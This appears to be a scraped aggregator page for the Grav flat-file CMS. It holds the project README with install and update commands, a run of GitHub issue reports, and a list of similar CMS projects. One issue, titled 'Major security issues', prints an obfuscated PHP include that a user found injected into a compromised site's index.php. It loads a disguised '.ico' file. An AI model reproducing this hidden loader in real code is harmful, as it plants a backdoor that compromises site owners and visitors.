Modern, Crazy Fast, Ridiculously Easy and Amazingly Powerful Flat-File CMS

Last update: May 19, 2022

Grav

PHPStan SensioLabsInsight Discord PHP Tests OpenCollective OpenCollective

Grav is a Fast, Simple, and Flexible, file-based Web-platform. There is Zero installation required. Just extract the ZIP archive, and you are already up and running. It follows similar principles to other flat-file CMS platforms, but has a different design philosophy than most. Grav comes with a powerful Package Management System to allow for simple installation and upgrading of plugins and themes, as well as simple updating of Grav itself.

The underlying architecture of Grav is designed to use well-established and best-in-class technologies to ensure that Grav is simple to use and easy to extend. Some of these key technologies include:

Requirements

Documentation

The full documentation can be found from learn.getgrav.org.

QuickStart

These are the options to get Grav:

Downloading a Grav Package

You can download a ready-built package from the Downloads page on https://getgrav.org

With Composer

You can create a new project with the latest stable Grav release with the following command:

$ composer create-project getgrav/grav ~/webroot/grav

From GitHub

  1. Clone the Grav repository from https://github.com/getgrav/grav to a folder in the webroot of your server, e.g. ~/webroot/grav. Launch a terminal or console and navigate to the webroot folder:

    $ cd ~/webroot
    $ git clone https://github.com/getgrav/grav.git
    
  2. Install the plugin and theme dependencies by using the Grav CLI application bin/grav:

    $ cd ~/webroot/grav
    $ bin/grav install
    

Check out the install procedures for more information.

Adding Functionality

You can download plugins or themes manually from the appropriate tab on the Downloads page on https://getgrav.org, but the preferred solution is to use the Grav Package Manager or GPM:

$ bin/gpm index

This will display all the available plugins and then you can install one or more with:

$ bin/gpm install <plugin/theme>

Updating

To update Grav you should use the Grav Package Manager or GPM:

$ bin/gpm selfupgrade

To update plugins and themes:

$ bin/gpm update

Upgrading from older version

Contributing

We appreciate any contribution to Grav, whether it is related to bugs, grammar, or simply a suggestion or improvement! Please refer to the Contributing guide for more guidance on this topic.

Security issues

If you discover a possible security issue related to Grav or one of its plugins, please email the core team at [email protected] and we'll address it as soon as possible.

Getting Started

Exploring More

Backers

Support Grav with a monthly donation to help us continue development. [Become a backer]

Sponsors

Become a sponsor and get your logo on our README on Github with a link to your site. [Become a sponsor]

License

See LICENSE

Running Tests

First install the dev dependencies by running composer install from the Grav root.

Then composer test will run the Unit Tests, which should be always executed successfully on any site. Windows users should use the composer test-windows command. You can also run a single unit test file, e.g. composer test tests/unit/Grav/Common/AssetsTest.php

To run phpstan tests, you should run:

  • composer phpstan for global tests
  • composer phpstan-framework for more strict tests
  • composer phpstan-plugins to test all installed plugins

GitHub

https://github.com/getgrav/grav
Comments
  • 1. Class 'Grav\Plugin\Email\Email' not found

    After upgrade to Grav v1.1.5 and Admin v1.2.2 using command line everything seemed to be ok. Once I push this changes the deployed to production this nasty message.

    Class 'Grav\Plugin\Email\Email' not found
    user/­plugins/­email/­email.php:35
    

    Is this happening to anybody else?

    Reviewed by diazwatson at 2016-09-18 23:17
  • 2. cannot connect to the GPM

    Hi, I'm trying grav on my server. Apparently everything works fine but when I navigate in the admin repeatedly receive the message: cannot connect to the GPM. What does it mean? Am I missing something in the setup or configuration?

    Reviewed by rocandante at 2015-12-06 02:24
  • 3. Errors in Admin Page - Plugins

    I'm using local server "Xampp". `Twig_Error_Runtime thrown with message "An exception has been thrown during the rendering of a template ("GPM not reachable. Please check your internet connection or check the Grav site is reachable") in "partials/plugins-list.html.twig" at line 19."

    Stacktrace: #31 Twig_Error_Runtime in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Template.php:402 #30 RuntimeException in C:\xampp\htdocs\grav-admin\system\src\Grav\Common\GPM\GPM.php:473 #29 Grav\Common\GPM\GPM:findPackage in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Template.php:604 #28 call_user_func_array in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Template.php:604 #27 Twig_Template:getAttribute in C:\xampp\htdocs\grav-admin\cache\twig\b6\b6a16b9e99993d5305205028e010e1f471b3dfa16d9791de3725566abe70287b.php:72 #26 __TwigTemplate_812dd152f02b4c4e995fb2a2e134fb73f18fa1fc2bdaa0c164751063205c25e5:doDisplay in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Template.php:387 #25 Twig_Template:displayWithErrorHandling in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Template.php:355 #24 Twig_Template:display in C:\xampp\htdocs\grav-admin\cache\twig\4d\4d52b4af49aed4b34218dfba0d4aacb0e49c5ec1836447acc79aafdc1f78bf2f.php:218 #23 __TwigTemplate_d45efbb2ecfd1b6d175e48517c93ba1d3d4dbe975bc59085cd8b1e31d7a923f9:block_content in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Template.php:167 #22 Twig_Template:displayBlock in C:\xampp\htdocs\grav-admin\cache\twig\bc\bcedad5a9d9c096c0555639fe81c8eae8ad587d56962c88e545ddb97fbb1e4cb.php:205 #21 __TwigTemplate_a7caedeb0e8f9004b2ff859f14111da968f804e03a9687e4b90ccc5a5f872af1:block_page in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Template.php:167 #20 Twig_Template:displayBlock in C:\xampp\htdocs\grav-admin\cache\twig\bc\bcedad5a9d9c096c0555639fe81c8eae8ad587d56962c88e545ddb97fbb1e4cb.php:158 #19 __TwigTemplate_a7caedeb0e8f9004b2ff859f14111da968f804e03a9687e4b90ccc5a5f872af1:block_body in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Template.php:167 #18 Twig_Template:displayBlock in C:\xampp\htdocs\grav-admin\cache\twig\bc\bcedad5a9d9c096c0555639fe81c8eae8ad587d56962c88e545ddb97fbb1e4cb.php:45 #17 __TwigTemplate_a7caedeb0e8f9004b2ff859f14111da968f804e03a9687e4b90ccc5a5f872af1:doDisplay in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Template.php:387 #16 Twig_Template:displayWithErrorHandling in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Template.php:355 #15 Twig_Template:display in C:\xampp\htdocs\grav-admin\cache\twig\4d\4d52b4af49aed4b34218dfba0d4aacb0e49c5ec1836447acc79aafdc1f78bf2f.php:63 #14 __TwigTemplate_d45efbb2ecfd1b6d175e48517c93ba1d3d4dbe975bc59085cd8b1e31d7a923f9:doDisplay in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Template.php:387 #13 Twig_Template:displayWithErrorHandling in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Template.php:355 #12 Twig_Template:display in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Template.php:366 #11 Twig_Template:render in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Environment.php:347 #10 Twig_Environment:render in C:\xampp\htdocs\grav-admin\system\src\Grav\Common\Twig\Twig.php:340 #9 Grav\Common\Twig\Twig:processSite in C:\xampp\htdocs\grav-admin\system\src\Grav\Common\Service\OutputServiceProvider.php:19 #8 Grav\Common\Service\OutputServiceProvider:Grav\Common\Service{closure} in C:\xampp\htdocs\grav-admin\vendor\pimple\pimple\src\Pimple\Container.php:113 #7 Pimple\Container:offsetGet in C:\xampp\htdocs\grav-admin\system\src\Grav\Common\Processors\RenderProcessor.php:17 #6 Grav\Common\Processors\RenderProcessor:process in C:\xampp\htdocs\grav-admin\system\src\Grav\Common\Grav.php:121 #5 Grav\Common\Grav:Grav\Common{closure} in C:\xampp\htdocs\grav-admin\system\src\Grav\Common\Grav.php:396 #4 Grav\Common\Grav:Grav\Common{closure} in C:\xampp\htdocs\grav-admin\system\src\Grav\Common\Grav.php:372 #3 call_user_func_array in C:\xampp\htdocs\grav-admin\system\src\Grav\Common\Grav.php:372 #2 Grav\Common\Grav:__call in C:\xampp\htdocs\grav-admin\system\src\Grav\Common\Grav.php:122 #1 Grav\Common\Grav:measureTime in C:\xampp\htdocs\grav-admin\system\src\Grav\Common\Grav.php:122 #0 Grav\Common\Grav:process in C:\xampp\htdocs\grav-admin\index.php:45

    `

    Reviewed by taechemist at 2016-09-14 13:24
  • 4. Blog slugs with numbers are unstable

    If I use slug: this-is-a-title.html in an item.md (e.g. for an blog post), it works perfectly fine. But if I use slugs with numbers, e.g. slug: 10-this-is-a-title.html it sometimes works, but sometimes the slug of the blog post in Grav is shown without the number or even worse, the whole blog post gets an 404 error. I use Grav 1.0.0-RC4 without Admin-Plugin and with the Blog Skeleton (Antimatter).

    Reviewed by mirkoschubert at 2015-11-16 21:36
  • 5. Pages are extremely slow to load

    I just started with a brand new installation of Grav (w/ admin tools). I'm working on a dev box with EasyPHP on PHP 7.0.4 locally. Functionally, the service is fine so far.

    However, I'm getting extremely slow load times from Grav, both on EasyPHP and WampServer. Admin panel pages take 7-8 seconds to load, and content pages take 3-4. Other pages of mine I work with locally take under a second.

    Based on the docs, Grav should be built to be highly performant. Are these kind of load times expected? If not, how can I diagnose the issue?

    I found the debugging view in Grav, and was able to get a view of where those 3 seconds are going. A lot of those seem to be taking longer than they should -- configuration, for example, is taking over 800ms by itself (200ms when it hits the cache, but the overall time is still over 3sec).

    Edit: Added debugging image and tested with WampServer also.

    Reviewed by ekumlin at 2017-01-07 00:55
  • 6. The list of pages is not displayed after updating Admin v1.10.7 (Grav v1.7.8)

    Is it possible that after updating to Grav v1.7.8 - Admin v1.10.7 the list of pages (/admin/pages) is not displayed? That is exactly what happened to me. Everything else works, including editing pages after entering a direct path (/admin/pages/anypage).

    Before I look for another cause of the problem, has it happened to someone else?

    Reviewed by petira at 2021-03-18 14:40
  • 7. Multiple security.yaml files

    • When installing Grav, file /user/cli/config/security.yaml containing a salt is being created
    • When running the site, file /user/localhost/config/security.yaml containing a different salt is being created
    • When Admin is run, file /user/config/security.yaml containing nothing is being created

    Is the above by desing? If so, why?

    If all three are required, why not using /user/env/cli/config/security.yaml and /user/env/localhost/config/security.yaml?

    Reviewed by pamtbaau at 2021-09-02 03:41
  • 8. Major security issues

    Today i've noticed, that someone hijacked my Grav site on a VPS (none of other sites was affected, just Grav). I found they've added this code to my root index.php:

    /*07cd0*/
    
    @include "\x2fs\x72v\x2fw\x77w\x2fs\x65r\x6be\x6fr\x67/\x2fn\x6fd\x65_\x6do\x64u\x6ce\x73/\x70a\x74h\x2dr\x6fo\x74-\x72e\x67e\x78/\x66a\x76i\x63o\x6e_\x63e\x615\x656\x2ei\x63o";
    
    /*07cd0*/
    

    How is that possible? I've set correct permissions on files and dirs. Admin plugin has its flaws?

    Reviewed by avxkim at 2018-04-19 03:11
  • 9. Markdown Twig filter stopped working

    {% for p in page.collection %}
          {{ p.header.extra_description|markdown }}
    {% endfor %}
    

    The extra_description is a markdown editor field. This seemed to be working at some point, but now, it just returns blank. Other Twig filters work fine.

    Reviewed by matthew-dean at 2016-12-14 18:45
  • 10. CSS/JS pipelines with absolute urls

    I wish to use absolute urls and I'm using pipelining for css and js.

    I noticed that when you turn absolute urls on the compiled css and js tags disappear from the head section of html source breaking the site.

    Reviewed by jemmasta at 2016-04-21 20:11
  • 11. Multilang-Site: Can't save frontmatter changes in expert mode in french language version.

    i’m doing a multilang-site (en/fr) and i can edit the english version without problems. however, in the french version, as soon as i switch to expert mode, edit the frontmatter and try to save, there is simply no response from grav. no reload, no error, not even a message in the debug console… rather strange.

    i tried deleting some pages and created them anew, but the problem persists. if you want to try out yourself, here is my user-directory: http://toctoc.peacock.uberspace.de/_zips/user.zip - try changing the about/partners in the english / french version... if there's anything else you need, let me know.

    thank you!

    Reviewed by ulilu at 2016-04-21 16:59
  • 12. Bump guzzlehttp/guzzle from 7.4.2 to 7.4.3

    Bumps guzzlehttp/guzzle from 7.4.2 to 7.4.3.

    Release notes

    Sourced from guzzlehttp/guzzle's releases.

    Release 7.4.3

    See change log for changes.

    Changelog

    Sourced from guzzlehttp/guzzle's changelog.

    7.4.3 - 2022-05-25

    • Fix cross-domain cookie leakage
    Commits

    Dependabot compatibility score

    Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


    Dependabot commands and options

    You can trigger Dependabot actions by commenting on this PR:

    • @dependabot rebase will rebase this PR
    • @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
    • @dependabot merge will merge this PR after your CI passes on it
    • @dependabot squash and merge will squash and merge this PR after your CI passes on it
    • @dependabot cancel merge will cancel a previously requested merge and block automerging
    • @dependabot reopen will reopen this PR if it is closed
    • @dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually
    • @dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
    • @dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
    • @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
    • @dependabot use these labels will set the current labels as the default for future PRs for this repo and language
    • @dependabot use these reviewers will set the current reviewers as the default for future PRs for this repo and language
    • @dependabot use these assignees will set the current assignees as the default for future PRs for this repo and language
    • @dependabot use this milestone will set the current milestone as the default for future PRs for this repo and language

    You can disable automated security fix PRs for this repo from the Security Alerts page.

    Reviewed by dependabot[bot] at 2022-05-25 22:25
  • 13. Page-level Twig incorrectly returns a URL

    If I use page-level Twig, it does not process the ...<a href="{{ p.url }}">... link, but returns an escaped code https://www.example.com/%7B%7B%20p.url%20%7D%7D.

    I use Grav v1.7.33. In some previous versions, it worked fine. The rest of Twig is working fine now.

    Reviewed by petira at 2022-05-25 12:56
  • 14. [add-resource] New Plugin "Whistleblower"

    Reviewed by LuanHimmlisch at 2022-05-22 08:47
  • 15. unvoluntary page reorder after changing the folder name

    When I change the Folder Name of a page not using Flex Objects, the changed page is autmatically placed last. This causes the menu which is based upon the order of pages to change, and it also changes the 'date changed' This behavior does not occur when I activate Flex Objects for page editing.

    Example GRAV-pages-reorders

    Reviewed by awrog at 2022-05-20 08:23
  • 16. Language name in language switcher plugin not displaying correctly

    I have two languages setup on my site: English and Yiddish. I'm using the language switcher plugin. Right now the plugin (with configuration language_display: long ) displays the following: image whereas I believe it should display the following: image

    The issue, as I understand it, is that the plugin uses the function Grav\Common\Language\LanguageCodes::getNativeName to get the native name, and Yiddish ('yi') is missing from the language codes. (In fact, it used to be there, but it was lost, presumably inadvertently, in a commit https://github.com/getgrav/grav/commit/d7f286f601229bb0e485c8d1713b5b235f66f10c in 2016.)

    Over a year ago I submitted a pull request which adds one line of code to add back Yiddish to the language codes: #3336. However, it's been ignored (cf. my lament here: #3455) .

    I realize I can just copy over the template from the plugin to my theme and fix it there by hardcoding the language name. I just thought I'd make one last attempt at adding my favorite language to Grav so it can work out of the box.

    Reviewed by yankl at 2022-05-19 10:18
  • 17. Data validation fails for some numbers

    This is related to issue #3433.

    To replicate the error: Create a number field with validate.step of .0000001 and validate.min -90. Try inputting value 81.96 on the admin panel blueprint.

    Expectation: The blueprint saves.

    Result: The blueprint fails to save, indicating invalid input in that field.

    A couple of notes:

    • Changing the step to .000001, removing the min, or changing the input value to 81.9 or 81.9692 (as a few examples) all provide the expected result. Changing the step .00001, however, still fails validation. This is consistent with issues with the PHP fmod function.
    • The fmod function used to be used in Grav/Common/Data/Validation.php in the typeNumber function (and did, in fact, cause the exact problems expected). It is no longer used in that function, however, so I think the error must be introduced elsewhere.
    Reviewed by TheoAcker12 at 2022-05-16 18:06
Pico is a stupidly simple, blazing fast, flat file CMS.
Pico is a stupidly simple, blazing fast, flat file CMS.

Pico is a stupidly simple, blazing fast, flat file CMS.

May 23, 2022
Pico is a stupidly simple, blazing fast, flat file CMS.
Pico is a stupidly simple, blazing fast, flat file CMS.

Pico is a stupidly simple, blazing fast, flat file CMS.

May 24, 2022
Herbie is a simple Flat-File CMS- und Blogsystem based on human readable text files

Herbie is a simple Flat-File CMS- und Blogsystem based on human readable text files

Apr 23, 2022
FlatPress is a lightweight, easy-to-set-up flat-file blogging engine.

[flatpress.org] [Support forum] [Wiki] [GitHub] [Mastodon] [Twitter] [Changelog] [Contributors] Welcome to FlatPress! FlatPress is a lightweight, easy

May 27, 2022
Azuriom is a modern, reliable, fast and secure game CMS.
Azuriom is a modern, reliable, fast and secure game CMS.

Azuriom Azuriom is the next generation game CMS, it's free and open-source, and is a modern, reliable, fast and secure alternative to existing CMS so

May 19, 2022
Azuriom - a modern, reliable, fast and secure game CMS.
Azuriom - a modern, reliable, fast and secure game CMS.

Azuriom is the next generation game CMS, it's free and open-source, and is a modern, reliable, fast and secure alternative to existing CMS so you can have the best web experience possible.

May 5, 2022
HTMLy is an open source Databaseless Blogging Platform or Flat-File Blog prioritizes simplicity and speed written in PHP
HTMLy is an open source Databaseless Blogging Platform or Flat-File Blog prioritizes simplicity and speed written in PHP

HTMLy is an open source Databaseless Blogging Platform or Flat-File Blog prioritizes simplicity and speed written in PHP. HTMLy can be referred to as Flat-File CMS either since it will also manage your content.

May 25, 2022
Mecha is a flat-file content management system for minimalists.
Mecha is a flat-file content management system for minimalists.

Mecha CMS Mecha is a flat-file content management system for minimalists. Front-End The default layout uses only Serif and Mono fonts. Different opera

May 26, 2022
Feindura - Flat File Content Management System

feindura - Flat File Content Management System Copyright (C) Fabian Vogelsteller [frozeman.de] published under the GNU General Public License version

Apr 23, 2022
BaiCloud-cms is a powerful open source CMS that allows you to create professional websites and scalable web applications. Visit the project website for more information.

BaiCloud-cms About BaiCloud-cms is a powerful open source CMS that allows you to create professional websites and scalable web applications. Visit the

Feb 2, 2022
GetSimple CMS - a flatfile CMS that works fast and efficient and has the best UI around, it is written in PHP

GetSimple CMS is a flatfile CMS that works fast and efficient and has the best UI around, it is written in PHP.

May 12, 2022
Powerful framework for designers and developers to create responsive, fast & robust Joomla based websites and templates.
Powerful framework for designers and developers to create responsive, fast & robust Joomla based websites and templates.

Astroid Framework Powerful Frontend Template Framework for Joomla CMS Powerful framework for designers and developers to create responsive, fast & rob

Oct 28, 2021
Modern CMS with shop features based on fullstack symfony and sylius components

The enhavo CMS is a open source PHP project on top of the fullstack Symfony framework and uses awesome Sylius components to serve a very flexible soft

May 8, 2022
Bolt CMS is an open source, adaptable platform for building and running modern websites.

Bolt CMS is an open source, adaptable platform for building and running modern websites. Built on PHP, Symfony and more. Read the site for more info.

May 21, 2022
🚀Bolt CMS is an open source, adaptable platform for building and running modern websites

??Bolt CMS is an open source, adaptable platform for building and running modern websites

Jan 6, 2022
Twill is an open source CMS toolkit for Laravel that helps developers rapidly create a custom admin console that is intuitive, powerful and flexible. /// Chat with us and others on Spectrum: https://spectrum.chat/twill
Twill is an open source CMS toolkit for Laravel that helps developers rapidly create a custom admin console that is intuitive, powerful and flexible. /// Chat with us and others on Spectrum: https://spectrum.chat/twill

About Twill Twill is an open source Laravel package that helps developers rapidly create a custom CMS that is beautiful, powerful, and flexible. By st

May 26, 2022
Pyro is an experienced and powerful Laravel PHP CMS.

PyroCMS PyroCMS is an easy to use, powerful, and modular CMS and development platform built with Laravel 5. Security If you discover any security rela

May 20, 2022
ProcessWire 3.x is a friendly and powerful open source CMS with a strong API.

Welcome to ProcessWire 3.x This document is in Markdown. An HTML formatted version of this document can be read at: https://github.com/processwire/pro

May 13, 2022
A flexible and fast Cms built with Symfony and Vuejs.
A flexible and fast Cms built with Symfony and Vuejs.

GreenCheap CMS A modular and lightweight CMS made with Symfony and Vuejs components GreenCheap works with PHP 8 version. In this case, lower versions

Apr 30, 2022